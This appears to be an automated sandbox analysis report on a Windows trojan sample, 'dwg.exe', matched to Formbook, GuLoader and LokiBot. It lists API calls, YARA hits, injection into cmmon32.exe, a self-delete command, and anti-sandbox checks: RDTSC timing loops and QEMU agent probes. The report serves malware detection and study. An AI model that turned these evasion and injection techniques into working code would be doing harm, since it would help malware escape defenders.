Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509FE0 NtCreateMutant,LdrInitializeThunk,		10_2_04509FE0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509780 NtMapViewOfSection,LdrInitializeThunk,		10_2_04509780
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509840 NtDelayExecution,LdrInitializeThunk,		10_2_04509840
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509860 NtQuerySystemInformation,LdrInitializeThunk,		10_2_04509860
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509910 NtAdjustPrivilegesToken,LdrInitializeThunk,		10_2_04509910
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045099A0 NtCreateSection,LdrInitializeThunk,		10_2_045099A0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509A50 NtCreateFile,LdrInitializeThunk,		10_2_04509A50
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509560 NtWriteFile,		10_2_04509560
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0450AD30 NtSetContextThread,		10_2_0450AD30
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509520 NtWaitForSingleObject,		10_2_04509520
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045095F0 NtQueryInformationFile,		10_2_045095F0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509670 NtQueryInformationProcess,		10_2_04509670
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509610 NtEnumerateValueKey,		10_2_04509610
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0450A770 NtOpenThread,		10_2_0450A770
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509770 NtSetInformationFile,		10_2_04509770
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509760 NtOpenProcess,		10_2_04509760
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0450A710 NtOpenProcessToken,		10_2_0450A710
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509730 NtQueryVirtualMemory,		10_2_04509730
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045097A0 NtUnmapViewOfSection,		10_2_045097A0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0450B040 NtSuspendThread,		10_2_0450B040
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509820 NtEnumerateKey,		10_2_04509820
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045098F0 NtReadVirtualMemory,		10_2_045098F0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045098A0 NtWriteVirtualMemory,		10_2_045098A0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509950 NtQueueApcThread,		10_2_04509950
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045099D0 NtCreateProcessEx,		10_2_045099D0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509A10 NtQuerySection,		10_2_04509A10
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509A00 NtProtectVirtualMemory,		10_2_04509A00
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509A20 NtResumeThread,		10_2_04509A20
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509A80 NtOpenDirectoryObject,		10_2_04509A80
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509B00 NtSetValueKey,		10_2_04509B00
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0450A3B0 NtGetContextThread,		10_2_0450A3B0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_02378290 NtReadFile,		10_2_02378290
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_02378310 NtClose,		10_2_02378310
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_023783C0 NtAllocateVirtualMemory,		10_2_023783C0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_023781E0 NtCreateFile,		10_2_023781E0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_02378235 NtCreateFile,		10_2_02378235
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0237828A NtReadFile,		10_2_0237828A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0237830B NtClose,		10_2_0237830B
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0237819A NtCreateFile,		10_2_0237819A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_023781DC NtCreateFile,		10_2_023781DC

Detected potential crypto function

Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1CD616		4_2_1E1CD616
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E126E30		4_2_1E126E30
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D2EF7		4_2_1E1D2EF7
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D1FF1		4_2_1E1D1FF1
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E11841F		4_2_1E11841F
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1CD466		4_2_1E1CD466
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D2D07		4_2_1E1D2D07
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E100D20		4_2_1E100D20
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D1D55		4_2_1E1D1D55
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E132581		4_2_1E132581
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D25DD		4_2_1E1D25DD
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E11D5E0		4_2_1E11D5E0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D22AE		4_2_1E1D22AE
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D2B28		4_2_1E1D2B28
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13EBB0		4_2_1E13EBB0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1CDBD2		4_2_1E1CDBD2
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C1002		4_2_1E1C1002
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E11B090		4_2_1E11B090
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1320A0		4_2_1E1320A0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D20A8		4_2_1E1D20A8
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D28EC		4_2_1E1D28EC
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E10F900		4_2_1E10F900
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E124120		4_2_1E124120
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0458D466		10_2_0458D466
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D841F		10_2_044D841F
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04591D55		10_2_04591D55
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04592D07		10_2_04592D07
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044C0D20		10_2_044C0D20
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045925DD		10_2_045925DD
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044DD5E0		10_2_044DD5E0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F2581		10_2_044F2581
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0458D616		10_2_0458D616
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044E6E30		10_2_044E6E30
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04592EF7		10_2_04592EF7
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0459DFCE		10_2_0459DFCE
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04591FF1		10_2_04591FF1
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04581002		10_2_04581002
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0459E824		10_2_0459E824
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045928EC		10_2_045928EC
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044DB090		10_2_044DB090
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F20A0		10_2_044F20A0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045920A8		10_2_045920A8
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044CF900		10_2_044CF900
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044E4120		10_2_044E4120
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045922AE		10_2_045922AE
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04592B28		10_2_04592B28
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045803DA		10_2_045803DA
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0458DBD2		10_2_0458DBD2
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044FEBB0		10_2_044FEBB0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0237C73F		10_2_0237C73F
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_02362FB0		10_2_02362FB0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0237C7B8		10_2_0237C7B8
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_02368C70		10_2_02368C70
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_02368C6C		10_2_02368C6C
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_02362D90		10_2_02362D90
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_02362D88		10_2_02362D88

Found potential string decryption / allocating functions

Source: C:\Users\user\Desktop\dwg.exe	Code function: String function: 1E10B150 appears 35 times
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: String function: 044CB150 appears 35 times

PE file contains strange resources

Source: dwg.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: dwg.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Sample file is different than original file name gathered from version info

Source: dwg.exe, 00000000.00000000.194437867.0000000000416000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameradikalitete.exe vs dwg.exe
Source: dwg.exe, 00000000.00000002.222283199.00000000020E0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameradikalitete.exeFE2XNETVRKBOLSJ vs dwg.exe
Source: dwg.exe, 00000000.00000002.222251197.00000000020A0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameuser32j% vs dwg.exe
Source: dwg.exe, 00000004.00000003.290766684.000000000084D000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameCMMON32.exe` vs dwg.exe
Source: dwg.exe, 00000004.00000000.220845134.0000000000416000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameradikalitete.exe vs dwg.exe
Source: dwg.exe, 00000004.00000002.297131213.000000001E38F000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs dwg.exe
Source: dwg.exe, 00000004.00000002.296365706.000000001DC50000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemswsock.dll.muij% vs dwg.exe
Source: dwg.exe	Binary or memory string: OriginalFilenameradikalitete.exe vs dwg.exe

Uses 32bit PE files

Source: dwg.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Yara signature match

Source: 0000000A.00000002.461717156.00000000026E4000.00000004.00000020.sdmp, type: MEMORY	Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000004.00000002.291759356.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.291759356.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.296448526.000000001DEB0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.296448526.000000001DEB0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.460585611.00000000001E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.460585611.00000000001E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.461025057.0000000002360000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.461025057.0000000002360000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.463830371.00000000049D7000.00000004.00000001.sdmp, type: MEMORY	Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = https://creativecommons.org/licenses/by-nc/4.0/

Classification label

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/0@13/8

Creates mutexes

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6684:120:WilError_01

Creates temporary files

Source: C:\Users\user\Desktop\dwg.exe

File created: C:\Users\user\AppData\Local\Temp\~DF2F905925E4C61327.TMP

Jump to behavior

PE file has an executable .text section and no other executable section

Source: dwg.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Parts of this applications are using VB runtime library 6.0 (Probably coded in Visual Basic)

Source: C:\Users\user\Desktop\dwg.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Jump to behavior

Reads software policies

Source: C:\Users\user\Desktop\dwg.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Reads the hosts file

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Sample is known by Antivirus

Source: dwg.exe

ReversingLabs: Detection: 17%

Spawns processes

Source: unknown	Process created: C:\Users\user\Desktop\dwg.exe 'C:\Users\user\Desktop\dwg.exe'
Source: unknown	Process created: C:\Users\user\Desktop\dwg.exe 'C:\Users\user\Desktop\dwg.exe'
Source: unknown	Process created: C:\Windows\SysWOW64\cmmon32.exe C:\Windows\SysWOW64\cmmon32.exe
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\dwg.exe'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\dwg.exe	Process created: C:\Users\user\Desktop\dwg.exe 'C:\Users\user\Desktop\dwg.exe'			Jump to behavior
Source: C:\Windows\SysWOW64\cmmon32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\dwg.exe'			Jump to behavior

Binary contains paths to debug symbols

Source:	Binary string: cmmon32.pdb source: dwg.exe, 00000004.00000003.290766684.000000000084D000.00000004.00000001.sdmp
Source:	Binary string: cmmon32.pdbGCTL source: dwg.exe, 00000004.00000003.290766684.000000000084D000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: dwg.exe, 00000004.00000002.296549952.000000001E0E0000.00000040.00000001.sdmp, cmmon32.exe, 0000000A.00000002.463015429.00000000045BF000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: dwg.exe, cmmon32.exe

Data Obfuscation:

Yara detected GuLoader

Source: Yara match	File source: Process Memory Space: dwg.exe PID: 6696, type: MEMORY
Source: Yara match	File source: Process Memory Space: dwg.exe PID: 6408, type: MEMORY

Yara detected VB6 Downloader Generic

Source: Yara match	File source: Process Memory Space: dwg.exe PID: 6696, type: MEMORY
Source: Yara match	File source: Process Memory Space: dwg.exe PID: 6408, type: MEMORY

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_004092D0 pushad ; retf		0_2_004092D1
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E15D0D1 push ecx; ret		4_2_1E15D0E4
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_00563E67 push cs; ret		4_2_00563E6D
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0451D0D1 push ecx; ret		10_2_0451D0E4
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0237533F push FFFFFF96h; ret		10_2_02375344
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0236C32F push es; ret		10_2_0236C33F
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0237B3D5 push eax; ret		10_2_0237B428
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0237583D push 0000003Fh; ret		10_2_02375846
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0237CE0D push ss; retf		10_2_0237CE19
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0236CF58 push ecx; ret		10_2_0236CF59
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0237B422 push eax; ret		10_2_0237B428
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0237B42B push eax; ret		10_2_0237B492
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0237B48C push eax; ret		10_2_0237B492
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_02375CD9 push C872E20Ah; retf		10_2_02375CDE
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_02375D64 push edx; ret		10_2_02375D6C

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Source: C:\Users\user\Desktop\dwg.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\dwg.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\dwg.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\dwg.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\dwg.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\dwg.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\dwg.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\cmmon32.exe	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E07DA CloseServiceHandle,TerminateProcess,		0_2_021E07DA
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E1E0E		0_2_021E1E0E
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E0A0C CloseServiceHandle,TerminateProcess,		0_2_021E0A0C
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E082E CloseServiceHandle,TerminateProcess,		0_2_021E082E
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E1870 NtSetInformationThread,		0_2_021E1870
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E0668 CloseServiceHandle,TerminateProcess,		0_2_021E0668
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E2E68 NtWriteVirtualMemory,		0_2_021E2E68
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E0A8E CloseServiceHandle,TerminateProcess,		0_2_021E0A8E
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E0884 CloseServiceHandle,TerminateProcess,		0_2_021E0884
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E1E84		0_2_021E1E84
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E2EB3		0_2_021E2EB3
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E2EAB		0_2_021E2EAB
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E2ECE		0_2_021E2ECE
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E08C2 CloseServiceHandle,TerminateProcess,		0_2_021E08C2
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E06F6 CloseServiceHandle,TerminateProcess,		0_2_021E06F6
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E1D02		0_2_021E1D02
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E093A CloseServiceHandle,TerminateProcess,		0_2_021E093A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E072E CloseServiceHandle,TerminateProcess,		0_2_021E072E
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E0921 CloseServiceHandle,TerminateProcess,		0_2_021E0921
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E2F52		0_2_021E2F52
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E0772 CloseServiceHandle,TerminateProcess,		0_2_021E0772
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E0996 CloseServiceHandle,TerminateProcess,		0_2_021E0996
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E1DAE		0_2_021E1DAE
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E1DA9		0_2_021E1DA9
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E07A7 CloseServiceHandle,TerminateProcess,		0_2_021E07A7
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E21D6 NtSetInformationThread,		0_2_021E21D6
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_00562154 TerminateThread,		4_2_00562154
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_005620CA TerminateThread,		4_2_005620CA
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_005621D6		4_2_005621D6
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_00562180 TerminateThread,		4_2_00562180
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_005621A2		4_2_005621A2
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_00562ECE		4_2_00562ECE
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_00562EB3		4_2_00562EB3
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_00562EAB		4_2_00562EAB
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_00562F52		4_2_00562F52

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Source: C:\Users\user\Desktop\dwg.exe	RDTSC instruction interceptor: First address: 00000000021E029E second address: 00000000021E029E instructions:
Source: C:\Users\user\Desktop\dwg.exe	RDTSC instruction interceptor: First address: 00000000021E307B second address: 00000000021E307B instructions:
Source: C:\Users\user\Desktop\dwg.exe	RDTSC instruction interceptor: First address: 00000000021E3204 second address: 00000000021E3204 instructions:
Source: C:\Users\user\Desktop\dwg.exe	RDTSC instruction interceptor: First address: 00000000021E09D2 second address: 00000000021E09D2 instructions:
Source: C:\Users\user\Desktop\dwg.exe	RDTSC instruction interceptor: First address: 00000000005632DC second address: 00000000005632DC instructions:
Source: C:\Users\user\Desktop\dwg.exe	RDTSC instruction interceptor: First address: 0000000000561EC6 second address: 0000000000561EC6 instructions:
Source: C:\Users\user\Desktop\dwg.exe	RDTSC instruction interceptor: First address: 0000000000562170 second address: 0000000000562170 instructions:

Tries to detect Any.run

Source: C:\Users\user\Desktop\dwg.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe			Jump to behavior
Source: C:\Users\user\Desktop\dwg.exe	File opened: C:\Program Files\qga\qga.exe			Jump to behavior
Source: C:\Users\user\Desktop\dwg.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe			Jump to behavior
Source: C:\Users\user\Desktop\dwg.exe	File opened: C:\Program Files\qga\qga.exe			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: dwg.exe

Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\dwg.exe	RDTSC instruction interceptor: First address: 00000000021E029E second address: 00000000021E029E instructions:
Source: C:\Users\user\Desktop\dwg.exe	RDTSC instruction interceptor: First address: 00000000021E307B second address: 00000000021E307B instructions:
Source: C:\Users\user\Desktop\dwg.exe	RDTSC instruction interceptor: First address: 00000000021E3204 second address: 00000000021E3204 instructions:
Source: C:\Users\user\Desktop\dwg.exe	RDTSC instruction interceptor: First address: 00000000021E639F second address: 00000000021E639F instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a popad 0x0000000b xor dword ptr [eax], edx 0x0000000d add eax, 04h 0x00000010 cmp eax, ebx 0x00000012 jne 00007F95DCE5AF6Ch 0x00000014 jmp 00007F95DCE5AFBEh 0x00000016 pushad 0x00000017 lfence 0x0000001a rdtsc
Source: C:\Users\user\Desktop\dwg.exe	RDTSC instruction interceptor: First address: 00000000021E09D2 second address: 00000000021E09D2 instructions:
Source: C:\Users\user\Desktop\dwg.exe	RDTSC instruction interceptor: First address: 000000000056639F second address: 000000000056639F instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a popad 0x0000000b xor dword ptr [eax], edx 0x0000000d add eax, 04h 0x00000010 cmp eax, ebx 0x00000012 jne 00007F95DCE5AF6Ch 0x00000014 jmp 00007F95DCE5AFBEh 0x00000016 pushad 0x00000017 lfence 0x0000001a rdtsc
Source: C:\Users\user\Desktop\dwg.exe	RDTSC instruction interceptor: First address: 00000000005632DC second address: 00000000005632DC instructions:
Source: C:\Users\user\Desktop\dwg.exe	RDTSC instruction interceptor: First address: 0000000000561EC6 second address: 0000000000561EC6 instructions:
Source: C:\Users\user\Desktop\dwg.exe	RDTSC instruction interceptor: First address: 00000000004085F4 second address: 00000000004085FA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dwg.exe	RDTSC instruction interceptor: First address: 000000000040898E second address: 0000000000408994 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dwg.exe	RDTSC instruction interceptor: First address: 0000000000562170 second address: 0000000000562170 instructions:
